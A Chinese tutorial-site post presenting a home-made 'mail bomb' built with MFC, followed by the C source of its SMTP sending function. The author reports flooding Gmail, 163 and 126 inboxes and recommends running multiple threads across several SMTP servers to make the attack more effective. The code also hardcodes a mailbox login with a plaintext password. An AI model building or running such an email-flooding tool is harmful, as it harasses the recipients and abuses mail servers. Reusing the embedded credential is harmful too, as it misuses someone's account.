歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> Linux編程 >> MFC實現的郵件炸彈【附源碼】

MFC實現的郵件炸彈【附源碼】

日期:2017/3/1 10:21:51   编辑:Linux編程

前段時間有個網絡安全實驗,因為這邊我在做信息安全的一個國賽,沒有參加,別人做完了,做了一個郵件炸彈,我覺得蠻有意思的,於是就自己寫了一個,MFC做的,結果是攻擊某些郵箱可以(gmail,163,126),有些不行(QQ郵箱會把發的郵件直接放到垃圾箱裡,我想可能是加了自己的一個包過濾機制,類似防火牆的東西),ok,下面我就開始說說我做的郵件炸彈吧,歡迎大家拍磚~~~~~~~~

首先,展示一下郵件炸彈的界面:


輸入郵件炸彈需要到達的郵箱地址,開始執行,向目標地址,發送郵件,我只寫了一個線程,發送郵件,如果想效果更好的話,你可以修改源碼,多建幾個線程登陸多個SMTP服務器,同時發送郵件,這樣效果更好。。。

我的發送郵件的主要的函數是sendemail實現的:

  1. void sendemail(char *email,char *body,char *smtpip)
  2. {
  3. int sockfd = 0;
  4. struct sockaddr_in their_addr = {0};
  5. char buf[1500] = {0};
  6. char rbuf[1500] = {0};
  7. char login[128] = {0};
  8. char pass[128] = {0};
  9. #ifdef WIN32
  10. WSADATA WSAData;
  11. WSAStartup(MAKEWORD(2, 2), &WSAData);
  12. #endif
  13. memset(&their_addr, 0, sizeof(their_addr));
  14. their_addr.sin_family = AF_INET;
  15. their_addr.sin_port = htons(25);
  16. their_addr.sin_addr.s_addr = inet_addr(smtpip);//smtp 服務器
  17. // 連接郵件服務器,如果連接後沒有響應,則2 秒後重新連接
  18. sockfd = open_socket((struct sockaddr *)&their_addr);
  19. memset(rbuf,0,1500);
  20. while(recv(sockfd, rbuf, 1500, 0) == 0)
  21. {
  22. printf("reconnect...\n");
  23. Sleep(2);
  24. //close(sockfd);
  25. sockfd = open_socket((struct sockaddr *)&their_addr);
  26. memset(rbuf,0,1500);
  27. }
  28. printf("%s\n", rbuf);
  29. // EHLO
  30. memset(buf, 0, 1500);
  31. sprintf(buf, "EHLO abcdefg-PC\r\n");
  32. send(sockfd, buf, strlen(buf), 0);
  33. memset(rbuf, 0, 1500);
  34. recv(sockfd, rbuf, 1500, 0);
  35. printf("%s\n", rbuf);
  36. // AUTH LOGIN
  37. memset(buf, 0, 1500);
  38. sprintf(buf, "AUTH LOGIN\r\n");
  39. send(sockfd, buf, strlen(buf), 0);
  40. printf("%s\n", buf);
  41. memset(rbuf, 0, 1500);
  42. recv(sockfd, rbuf, 1500, 0);
  43. printf("%s\n", rbuf);
  44. // USER
  45. memset(buf, 0, 1500);
  46. sprintf(buf,"[email protected]");//郵箱賬號
  47. memset(login, 0, 128);
  48. base64(login, buf, strlen(buf));
  49. sprintf(buf, "%s\r\n", login);
  50. send(sockfd, buf, strlen(buf), 0);
  51. printf("%s\n", buf);
  52. memset(rbuf, 0, 1500);
  53. recv(sockfd, rbuf, 1500, 0);
  54. printf("%s\n", rbuf);
  55. // PASSWORD
  56. sprintf(buf, "199183");//郵箱密碼
  57. memset(pass, 0, 128);
  58. base64(pass, buf, strlen(buf));
  59. sprintf(buf, "%s\r\n", pass);
  60. send(sockfd, buf, strlen(buf), 0);
  61. printf("%s\n", buf);
  62. memset(rbuf, 0, 1500);
  63. recv(sockfd, rbuf, 1500, 0);
  64. printf("%s\n", rbuf);
  65. // MAIL FROM
  66. memset(buf, 0, 1500);
  67. sprintf(buf, "MAIL FROM: <[email protected]>\r\n");
  68. send(sockfd, buf, strlen(buf), 0);
  69. memset(rbuf, 0, 1500);
  70. recv(sockfd, rbuf, 1500, 0);
  71. printf("%s\n", rbuf);
  72. // RCPT TO 第一個收件人
  73. sprintf(buf, "RCPT TO:<%s>\r\n", email);
  74. send(sockfd, buf, strlen(buf), 0);
  75. memset(rbuf, 0, 1500);
  76. recv(sockfd, rbuf, 1500, 0);
  77. printf("%s\n", rbuf);
  78. // DATA 准備開始發送郵件內容
  79. sprintf(buf, "DATA\r\n");
  80. send(sockfd, buf, strlen(buf), 0);
  81. memset(rbuf, 0, 1500);
  82. recv(sockfd, rbuf, 1500, 0);
  83. printf("%s\n", rbuf);
  84. // 發送郵件內容,\r\n.\r\n內容結束標記
  85. sprintf(buf, "%s\r\n.\r\n", body);
  86. send(sockfd, buf, strlen(buf), 0);
  87. memset(rbuf, 0, 1500);
  88. recv(sockfd, rbuf, 1500, 0);
  89. printf("%s\n", rbuf);
  90. // QUIT
  91. sprintf(buf, "QUIT\r\n");
  92. send(sockfd, buf, strlen(buf), 0);
  93. memset(rbuf, 0, 1500);
  94. recv(sockfd, rbuf, 1500, 0);
  95. printf("%s\n", rbuf);
  96. // VC2005 需要使用
  97. closesocket(sockfd);
  98. // close(sockfd);
  99. #ifdef WIN32
  100. WSACleanup();
  101. #endif
  102. return;
  103. }
Copyright © Linux教程網 All Rights Reserved